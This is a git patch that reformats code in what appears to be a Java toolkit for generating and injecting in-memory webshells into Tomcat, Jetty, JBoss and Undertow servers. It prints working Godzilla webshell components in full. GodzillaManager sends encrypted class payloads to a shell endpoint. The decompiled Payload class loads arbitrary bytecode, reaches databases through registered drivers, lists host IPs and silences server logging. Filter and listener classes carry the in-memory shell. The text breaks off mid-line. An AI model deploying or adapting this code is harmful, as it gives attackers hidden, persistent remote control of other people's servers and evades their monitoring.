From 1712608b0bd41ec5cc64757d3721ac51ba2c107f Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 11 Dec 2024 01:35:41 +0800 Subject: [PATCH] style: code format --- .../javaweb/buddy/LogRemoveMethodVisitor.java | 1 + .../buddy/ServletRenameVisitorWrapper.java | 1 + .../buddy/TargetJreVersionVisitorWrapper.java | 1 + .../reajason/javaweb/config/ShellConfig.java | 2 +- .../javaweb/godzilla/GodzillaManager.java | 231 ++++----- .../reajason/javaweb/godzilla/Payload.java | 460 +++++++++--------- .../jboss/command/CommandListener.java | 40 +- .../jboss/godzilla/GodzillaFilter.java | 76 +-- .../jboss/injector/JbossFilterInjector.java | 140 +++--- .../jboss/injector/JbossListenerInjector.java | 182 +++---- .../jetty/command/CommandListener.java | 40 +- .../jetty/godzilla/GodzillaFilter.java | 76 +-- .../jetty/injector/JettyFilterInjector.java | 243 +++++---- .../jetty/injector/JettyListenerInjector.java | 194 ++++---- .../memsell/packer/DeserializePacker.java | 14 +- .../tomcat/command/CommandListener.java | 40 +- .../memsell/tomcat/command/CommandValve.java | 2 +- .../tomcat/godzilla/GodzillaFilter.java | 76 +-- .../tomcat/godzilla/GodzillaValve.java | 80 +-- .../tomcat/injector/TomcatFilterInjector.java | 64 +-- .../injector/TomcatListenerInjector.java | 223 ++++----- .../tomcat/injector/TomcatValveInjector.java | 207 ++++---- .../undertow/command/CommandListener.java | 40 +- .../undertow/godzilla/GodzillaFilter.java | 76 +-- .../injector/UndertowFilterInjector.java | 172 ++++--- .../injector/UndertowListenerInjector.java | 156 +++--- .../com/reajason/javaweb/util/CommonUtil.java | 29 +- generator/src/main/resources/shell.jsp | 6 + .../ByPassJavaModuleInterceptorTest.java | 28 +- .../buddy/LogRemoveVisitorWrapperTest.java | 32 +- .../javaweb/godzilla/GodzillaManagerTest.java | 2 +- .../memsell/tomcat/godzilla/GodzillaTest.java | 2 +- .../tomcat/docker-compose-9-jre9.yaml | 2 +- .../MarkdownTestExecutionListener.java | 22 +- .../DoesNotContainExceptionMatcher.java | 10 +- .../integration/GodzillaShellTool.java | 5 +- .../jbossas/Jboss423ContainerTest.java | 11 +- .../jbossas/Jboss510ContainerTest.java | 11 +- .../jbossas/Jboss610ContainerTest.java | 13 +- .../jbossas/Jboss711ContainerTest.java | 11 +- .../jbosseap/JbossEap6ContainerTest.java | 11 +- .../jbosseap/JbossEap7ContainerTest.java | 11 +- .../jetty/Jetty10ContainerTest.java | 22 +- .../jetty/Jetty11ContainerTest.java | 25 +- .../jetty/Jetty61ContainerTest.java | 24 +- .../jetty/Jetty76ContainerTest.java | 24 +- .../jetty/Jetty81ContainerTest.java | 24 +- .../jetty/Jetty92ContainerTest.java | 24 +- .../jetty/Jetty93ContainerTest.java | 24 +- .../jetty/Jetty94ContainerTest.java | 24 +- .../tomcat/Tomcat10ContainerTest.java | 23 +- .../tomcat/Tomcat11ContainerTest.java | 23 +- .../tomcat/Tomcat5ContainerTest.java | 22 +- .../tomcat/Tomcat6ContainerTest.java | 24 +- .../tomcat/Tomcat7ContainerTest.java | 25 +- .../tomcat/Tomcat8ContainerTest.java | 23 +- .../tomcat/Tomcat9ContainerTest.java | 25 +- .../wildfly/Wildfly18ContainerTest.java | 11 +- .../wildfly/Wildfly23ContainerTest.java | 11 +- .../wildfly/Wildfly9ContainerTest.java | 11 +- .../src/main/java/ErrorHandler.java | 148 +++--- .../src/main/java/TestServlet.java | 1 + .../src/main/webapp/WEB-INF/web.xml | 3 +- vul-webapp/src/main/java/ErrorFilter.java | 77 ++- vul-webapp/src/main/java/ErrorListener.java | 24 +- vul-webapp/src/main/java/TestServlet.java | 295 ++++++++++- 66 files changed, 2104 insertions(+), 1876 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java index f7acfec4..6d1c63ab 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java @@ -17,6 +17,7 @@ import static net.bytebuddy.jar.asm.Opcodes.POP; /** * Debug 信息打印移除器,目前仅支持移除 System.out.println() - (printf 还不支持) 和 e.printStackTrace() + * * @author ReaJason */ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper { diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java index a6290547..5b4f4386 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java @@ -14,6 +14,7 @@ import org.jetbrains.annotations.NotNull; /** * Servlet 包名替换,扫描包中所有 javax/servlet 将其替换成 jakarta/servlet。 + * * @author ReaJason * @since 2024/11/23 */ diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java b/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java index 84d9e706..4903c357 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java @@ -15,6 +15,7 @@ import org.jetbrains.annotations.NotNull; /** * 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6 + * * @author ReaJason */ public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper { diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java index 06702827..9ed4a5c4 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java @@ -55,7 +55,7 @@ public class ShellConfig { @Builder.Default private boolean debug = false; - public boolean isDebugOff(){ + public boolean isDebugOff() { return !debug; } diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 0ad35f99..c5f90696 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -29,8 +29,14 @@ import java.util.zip.GZIPOutputStream; @Getter @Setter public class GodzillaManager implements Closeable { - private final OkHttpClient client; private static final List CLASS_NAMES; + + static { + InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt")); + CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8"); + } + + private final OkHttpClient client; private String cookie = ""; private String entrypoint; private String key; @@ -39,9 +45,8 @@ public class GodzillaManager implements Closeable { private Request request; private Map headers = new HashMap<>(); - static { - InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt")); - CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8"); + public GodzillaManager() { + this.client = new OkHttpClient.Builder().build(); } public static Pair getKeyMd5(String key, String pass) { @@ -50,73 +55,10 @@ public class GodzillaManager implements Closeable { return Pair.of(md5Key, md5); } - public static class GodzillaManagerBuilder { - private String entrypoint; - private String key; - private String pass; - private final Map headers = new HashMap<>(); - - public GodzillaManagerBuilder entrypoint(String entrypoint) { - this.entrypoint = entrypoint; - return this; - } - - public GodzillaManagerBuilder key(String key) { - this.key = key; - return this; - } - - public GodzillaManagerBuilder pass(String pass) { - this.pass = pass; - return this; - } - - public GodzillaManagerBuilder header(String key, String value) { - this.headers.put(key, value); - return this; - } - - public GodzillaManager build() { - GodzillaManager manager = new GodzillaManager(); - manager.setEntrypoint(entrypoint); - manager.setPass(pass); - Pair keyMd5 = getKeyMd5(key, pass); - manager.setKey(keyMd5.getLeft()); - manager.setMd5(keyMd5.getRight()); - Map headers = new HashMap<>(16); - headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"); - headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); - headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); - headers.putAll(this.headers); - manager.setHeaders(headers); - return manager; - } - } - public static GodzillaManagerBuilder builder() { return new GodzillaManagerBuilder(); } - public GodzillaManager() { - this.client = new OkHttpClient.Builder().build(); - } - - private Response post(byte[] bytes) throws IOException { - byte[] aes = aes(this.key, bytes, true); - String base64String = Base64.encodeBase64String(aes); - RequestBody requestBody = new FormBody.Builder() - .add(this.pass, base64String) - .build(); - Request.Builder builder = new Request.Builder() - .url(this.entrypoint) - .post(requestBody) - .headers(Headers.of(this.headers)); - if (StringUtils.isNotBlank(cookie)) { - builder.header("Cookie", cookie); - } - return client.newCall(builder.build()).execute(); - } - @SneakyThrows public static byte[] generateGodzilla() { Random random = new Random(); @@ -130,52 +72,6 @@ public class GodzillaManager implements Closeable { } } - public boolean start() { - byte[] bytes = generateGodzilla(); - try (Response response = post(bytes)) { - String setCookie = response.header("Set-Cookie"); - if (setCookie != null && setCookie.contains("JSESSIONID=")) { - cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); - } - if (response.isSuccessful()) { - return true; - } - System.out.println(response.body().string()); - } catch (IOException e) { - e.printStackTrace(); - } - return false; - } - - public boolean test() { - byte[] bytes = generateMethodCallBytes("test"); - try (Response response = post(bytes)) { - if (response.isSuccessful()) { - ResponseBody body = response.body(); - if (body != null) { - String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); - System.out.println(resultFromRes); - return "ok".equals(resultFromRes); - } - } - return false; - } catch (IOException e) { - return false; - } - } - - @Override - public void close() throws IOException { - byte[] bytes = generateMethodCallBytes("close"); - try (Response response = post(bytes)) { - if (response.isSuccessful()) { - response.body(); - } - } catch (IOException ignore) { - - } - } - /** * AES 加解密 * @@ -270,6 +166,72 @@ public class GodzillaManager implements Closeable { return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24); } + public static byte[] intToBytes(int value) { + return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)}; + } + + private Response post(byte[] bytes) throws IOException { + byte[] aes = aes(this.key, bytes, true); + String base64String = Base64.encodeBase64String(aes); + RequestBody requestBody = new FormBody.Builder() + .add(this.pass, base64String) + .build(); + Request.Builder builder = new Request.Builder() + .url(this.entrypoint) + .post(requestBody) + .headers(Headers.of(this.headers)); + if (StringUtils.isNotBlank(cookie)) { + builder.header("Cookie", cookie); + } + return client.newCall(builder.build()).execute(); + } + + public boolean start() { + byte[] bytes = generateGodzilla(); + try (Response response = post(bytes)) { + String setCookie = response.header("Set-Cookie"); + if (setCookie != null && setCookie.contains("JSESSIONID=")) { + cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); + } + if (response.isSuccessful()) { + return true; + } + System.out.println(response.body().string()); + } catch (IOException e) { + e.printStackTrace(); + } + return false; + } + + public boolean test() { + byte[] bytes = generateMethodCallBytes("test"); + try (Response response = post(bytes)) { + if (response.isSuccessful()) { + ResponseBody body = response.body(); + if (body != null) { + String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); + System.out.println(resultFromRes); + return "ok".equals(resultFromRes); + } + } + return false; + } catch (IOException e) { + return false; + } + } + + @Override + public void close() throws IOException { + byte[] bytes = generateMethodCallBytes("close"); + try (Response response = post(bytes)) { + if (response.isSuccessful()) { + response.body(); + } + } catch (IOException ignore) { + + } + } + @SneakyThrows private byte[] generateMethodCallBytes(String methodName) { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); @@ -283,7 +245,46 @@ public class GodzillaManager implements Closeable { return byteArrayOutputStream.toByteArray(); } - public static byte[] intToBytes(int value) { - return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)}; + public static class GodzillaManagerBuilder { + private final Map headers = new HashMap<>(); + private String entrypoint; + private String key; + private String pass; + + public GodzillaManagerBuilder entrypoint(String entrypoint) { + this.entrypoint = entrypoint; + return this; + } + + public GodzillaManagerBuilder key(String key) { + this.key = key; + return this; + } + + public GodzillaManagerBuilder pass(String pass) { + this.pass = pass; + return this; + } + + public GodzillaManagerBuilder header(String key, String value) { + this.headers.put(key, value); + return this; + } + + public GodzillaManager build() { + GodzillaManager manager = new GodzillaManager(); + manager.setEntrypoint(entrypoint); + manager.setPass(pass); + Pair keyMd5 = getKeyMd5(key, pass); + manager.setKey(keyMd5.getLeft()); + manager.setMd5(keyMd5.getRight()); + Map headers = new HashMap<>(16); + headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"); + headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); + headers.putAll(this.headers); + manager.setHeaders(headers); + return manager; + } } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java index 8acf8b66..fcd05f7d 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java @@ -29,13 +29,6 @@ import java.util.zip.GZIPOutputStream; @Generated public class Payload extends ClassLoader { public static final char[] toBase64 = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; - HashMap parameterMap; - HashMap sessionMap; - Object servletContext; - Object servletRequest; - Object httpSession; - byte[] requestData; - ByteArrayOutputStream outputStream; static Class class$0; static Class class$1; static Class class$2; @@ -47,6 +40,13 @@ public class Payload extends ClassLoader { static Class class$8; static Class class$9; static Class class$10; + HashMap parameterMap; + HashMap sessionMap; + Object servletContext; + Object servletRequest; + Object httpSession; + byte[] requestData; + ByteArrayOutputStream outputStream; public Payload() { this.parameterMap = new HashMap(); @@ -57,6 +57,229 @@ public class Payload extends ClassLoader { this.parameterMap = new HashMap(); } + public static byte[] copyOf(byte[] original, int newLength) { + byte[] arrayOfByte = new byte[newLength]; + System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength)); + return arrayOfByte; + } + + public static Connection getConnection(String url, String userName, String password) { + Connection connection = null; + try { + Class cls = class$8; + if (cls == null) { + try { + cls = Class.forName("java.sql.DriverManager"); + class$8 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + Field[] fields = cls.getDeclaredFields(); + Field field = null; + for (int i = 0; i < fields.length; i++) { + field = fields[i]; + if (field.getName().indexOf("rivers") != -1) { + Class cls2 = class$9; + if (cls2 == null) { + try { + cls2 = Class.forName("java.util.List"); + class$9 = cls2; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(unused2.getMessage()); + } + } + if (cls2.isAssignableFrom(field.getType())) { + break; + } + } + field = null; + } + if (field != null) { + field.setAccessible(true); + List drivers = (List) field.get(null); + Iterator iterator = drivers.iterator(); + while (iterator.hasNext() && connection == null) { + try { + Object object = iterator.next(); + Driver driver = null; + Class cls3 = class$10; + if (cls3 == null) { + try { + cls3 = Class.forName("java.sql.Driver"); + class$10 = cls3; + } catch (ClassNotFoundException unused3) { + throw new NoClassDefFoundError(unused3.getMessage()); + } + } + if (!cls3.isAssignableFrom(object.getClass())) { + Field[] driverInfos = object.getClass().getDeclaredFields(); + int i2 = 0; + while (true) { + if (i2 >= driverInfos.length) { + break; + } + Class cls4 = class$10; + if (cls4 == null) { + try { + cls4 = Class.forName("java.sql.Driver"); + class$10 = cls4; + } catch (ClassNotFoundException unused4) { + throw new NoClassDefFoundError(unused4.getMessage()); + } + } + if (!cls4.isAssignableFrom(driverInfos[i2].getType())) { + i2++; + } else { + driverInfos[i2].setAccessible(true); + driver = (Driver) driverInfos[i2].get(object); + break; + } + } + } + if (driver != null) { + Properties properties = new Properties(); + if (userName != null) { + properties.put("user", userName); + } + if (password != null) { + properties.put("password", password); + } + connection = driver.connect(url, properties); + } + } catch (Exception e) { + } + } + } + } catch (Exception e2) { + } + return connection; + } + + public static String getLocalIPList() { + List ipList = new ArrayList(); + try { + Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces(); + while (networkInterfaces.hasMoreElements()) { + NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement(); + Enumeration inetAddresses = networkInterface.getInetAddresses(); + while (inetAddresses.hasMoreElements()) { + InetAddress inetAddress = (InetAddress) inetAddresses.nextElement(); + if (inetAddress != null) { + String ip = inetAddress.getHostAddress(); + ipList.add(ip); + } + } + } + } catch (Exception e) { + } + return Arrays.toString(ipList.toArray()); + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field f2 = null; + if (obj instanceof Field) { + f2 = (Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f2 = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f2.setAccessible(true); + return f2.get(obj); + } + + private static Class getClass(String name) { + try { + return Class.forName(name); + } catch (Exception e) { + return null; + } + } + + public static int bytesToInt(byte[] bytes) { + int i = (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24); + return i; + } + + public static String base64Encode(byte[] src) { + int end = src.length; + byte[] dst = new byte[4 * ((src.length + 2) / 3)]; + char[] base64 = toBase64; + int sp = 0; + int slen = ((end - 0) / 3) * 3; + int sl = 0 + slen; + if (-1 > 0 && slen > ((-1) / 4) * 3) { + slen = ((-1) / 4) * 3; + } + int dp = 0; + while (sp < sl) { + int sl0 = Math.min(sp + slen, sl); + int sp0 = sp; + int dp0 = dp; + while (sp0 < sl0) { + int i = sp0; + int sp02 = sp0 + 1; + int sp03 = sp02 + 1; + int i2 = ((src[i] & 255) << 16) | ((src[sp02] & 255) << 8); + sp0 = sp03 + 1; + int bits = i2 | (src[sp03] & 255); + int i3 = dp0; + int dp02 = dp0 + 1; + dst[i3] = (byte) base64[(bits >>> 18) & 63]; + int dp03 = dp02 + 1; + dst[dp02] = (byte) base64[(bits >>> 12) & 63]; + int dp04 = dp03 + 1; + dst[dp03] = (byte) base64[(bits >>> 6) & 63]; + dp0 = dp04 + 1; + dst[dp04] = (byte) base64[bits & 63]; + } + int dlen = ((sl0 - sp) / 3) * 4; + dp += dlen; + sp = sl0; + } + if (sp < end) { + int i4 = sp; + int sp2 = sp + 1; + int b0 = src[i4] & 255; + int i5 = dp; + int dp2 = dp + 1; + dst[i5] = (byte) base64[b0 >> 2]; + if (sp2 == end) { + int dp3 = dp2 + 1; + dst[dp2] = (byte) base64[(b0 << 4) & 63]; + if (1 != 0) { + int dp4 = dp3 + 1; + dst[dp3] = 61; + int i6 = dp4 + 1; + dst[dp4] = 61; + } + } else { + int i7 = sp2 + 1; + int b1 = src[sp2] & 255; + int dp5 = dp2 + 1; + dst[dp2] = (byte) base64[((b0 << 4) & 63) | (b1 >> 4)]; + int dp6 = dp5 + 1; + dst[dp5] = (byte) base64[(b1 << 2) & 63]; + if (1 != 0) { + int i8 = dp6 + 1; + dst[dp6] = 61; + } + } + } + return new String(dst); + } + + public static byte[] base64Decode(java.lang.String r7) { + throw new UnsupportedOperationException("Method not decompiled: p000.payload.base64Decode(java.lang.String):byte[]"); + } + public Class m632g(byte[] b) { return super.defineClass(b, 0, b.length); } @@ -1018,12 +1241,6 @@ public class Payload extends ClassLoader { } } - public static byte[] copyOf(byte[] original, int newLength) { - byte[] arrayOfByte = new byte[newLength]; - System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength)); - return arrayOfByte; - } - public Map getEnv() { try { int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3)); @@ -1074,119 +1291,6 @@ public class Payload extends ClassLoader { } } - public static Connection getConnection(String url, String userName, String password) { - Connection connection = null; - try { - Class cls = class$8; - if (cls == null) { - try { - cls = Class.forName("java.sql.DriverManager"); - class$8 = cls; - } catch (ClassNotFoundException unused) { - throw new NoClassDefFoundError(unused.getMessage()); - } - } - Field[] fields = cls.getDeclaredFields(); - Field field = null; - for (int i = 0; i < fields.length; i++) { - field = fields[i]; - if (field.getName().indexOf("rivers") != -1) { - Class cls2 = class$9; - if (cls2 == null) { - try { - cls2 = Class.forName("java.util.List"); - class$9 = cls2; - } catch (ClassNotFoundException unused2) { - throw new NoClassDefFoundError(unused2.getMessage()); - } - } - if (cls2.isAssignableFrom(field.getType())) { - break; - } - } - field = null; - } - if (field != null) { - field.setAccessible(true); - List drivers = (List) field.get(null); - Iterator iterator = drivers.iterator(); - while (iterator.hasNext() && connection == null) { - try { - Object object = iterator.next(); - Driver driver = null; - Class cls3 = class$10; - if (cls3 == null) { - try { - cls3 = Class.forName("java.sql.Driver"); - class$10 = cls3; - } catch (ClassNotFoundException unused3) { - throw new NoClassDefFoundError(unused3.getMessage()); - } - } - if (!cls3.isAssignableFrom(object.getClass())) { - Field[] driverInfos = object.getClass().getDeclaredFields(); - int i2 = 0; - while (true) { - if (i2 >= driverInfos.length) { - break; - } - Class cls4 = class$10; - if (cls4 == null) { - try { - cls4 = Class.forName("java.sql.Driver"); - class$10 = cls4; - } catch (ClassNotFoundException unused4) { - throw new NoClassDefFoundError(unused4.getMessage()); - } - } - if (!cls4.isAssignableFrom(driverInfos[i2].getType())) { - i2++; - } else { - driverInfos[i2].setAccessible(true); - driver = (Driver) driverInfos[i2].get(object); - break; - } - } - } - if (driver != null) { - Properties properties = new Properties(); - if (userName != null) { - properties.put("user", userName); - } - if (password != null) { - properties.put("password", password); - } - connection = driver.connect(url, properties); - } - } catch (Exception e) { - } - } - } - } catch (Exception e2) { - } - return connection; - } - - public static String getLocalIPList() { - List ipList = new ArrayList(); - try { - Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces(); - while (networkInterfaces.hasMoreElements()) { - NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement(); - Enumeration inetAddresses = networkInterface.getInetAddresses(); - while (inetAddresses.hasMoreElements()) { - InetAddress inetAddress = (InetAddress) inetAddresses.nextElement(); - if (inetAddress != null) { - String ip = inetAddress.getHostAddress(); - ipList.add(ip); - } - } - } - } catch (Exception e) { - } - return Arrays.toString(ipList.toArray()); - } - public String getRealPath() { try { if (this.servletContext != null) { @@ -1273,25 +1377,6 @@ public class Payload extends ClassLoader { return method; } - public static Object getFieldValue(Object obj, String fieldName) throws Exception { - Field f2 = null; - if (obj instanceof Field) { - f2 = (Field) obj; - } else { - Class cs = obj.getClass(); - while (cs != null) { - try { - f2 = cs.getDeclaredField(fieldName); - cs = null; - } catch (Exception e) { - cs = cs.getSuperclass(); - } - } - } - f2.setAccessible(true); - return f2.get(obj); - } - private void noLog(Object servletContext) { try { Object applicationContext = getFieldValue(servletContext, "context"); @@ -1367,92 +1452,7 @@ public class Payload extends ClassLoader { } } - private static Class getClass(String name) { - try { - return Class.forName(name); - } catch (Exception e) { - return null; - } - } - - public static int bytesToInt(byte[] bytes) { - int i = (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24); - return i; - } - public String base64Encode(String data) { return base64Encode(data.getBytes()); } - - public static String base64Encode(byte[] src) { - int end = src.length; - byte[] dst = new byte[4 * ((src.length + 2) / 3)]; - char[] base64 = toBase64; - int sp = 0; - int slen = ((end - 0) / 3) * 3; - int sl = 0 + slen; - if (-1 > 0 && slen > ((-1) / 4) * 3) { - slen = ((-1) / 4) * 3; - } - int dp = 0; - while (sp < sl) { - int sl0 = Math.min(sp + slen, sl); - int sp0 = sp; - int dp0 = dp; - while (sp0 < sl0) { - int i = sp0; - int sp02 = sp0 + 1; - int sp03 = sp02 + 1; - int i2 = ((src[i] & 255) << 16) | ((src[sp02] & 255) << 8); - sp0 = sp03 + 1; - int bits = i2 | (src[sp03] & 255); - int i3 = dp0; - int dp02 = dp0 + 1; - dst[i3] = (byte) base64[(bits >>> 18) & 63]; - int dp03 = dp02 + 1; - dst[dp02] = (byte) base64[(bits >>> 12) & 63]; - int dp04 = dp03 + 1; - dst[dp03] = (byte) base64[(bits >>> 6) & 63]; - dp0 = dp04 + 1; - dst[dp04] = (byte) base64[bits & 63]; - } - int dlen = ((sl0 - sp) / 3) * 4; - dp += dlen; - sp = sl0; - } - if (sp < end) { - int i4 = sp; - int sp2 = sp + 1; - int b0 = src[i4] & 255; - int i5 = dp; - int dp2 = dp + 1; - dst[i5] = (byte) base64[b0 >> 2]; - if (sp2 == end) { - int dp3 = dp2 + 1; - dst[dp2] = (byte) base64[(b0 << 4) & 63]; - if (1 != 0) { - int dp4 = dp3 + 1; - dst[dp3] = 61; - int i6 = dp4 + 1; - dst[dp4] = 61; - } - } else { - int i7 = sp2 + 1; - int b1 = src[sp2] & 255; - int dp5 = dp2 + 1; - dst[dp2] = (byte) base64[((b0 << 4) & 63) | (b1 >> 4)]; - int dp6 = dp5 + 1; - dst[dp5] = (byte) base64[(b1 << 2) & 63]; - if (1 != 0) { - int i8 = dp6 + 1; - dst[dp6] = 61; - } - } - } - return new String(dst); - } - - public static byte[] base64Decode(java.lang.String r7) { - throw new UnsupportedOperationException("Method not decompiled: p000.payload.base64Decode(java.lang.String):byte[]"); - } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java index bf08786b..fad427b1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java @@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener { public CommandListener() { } + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @Override public void requestDestroyed(ServletRequestEvent sre) { @@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener { } return response; } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java index e62ccd97..fd446530 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java @@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter { super(z); } + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + @SuppressWarnings("all") public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); @@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter { @Override public void destroy() { } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) 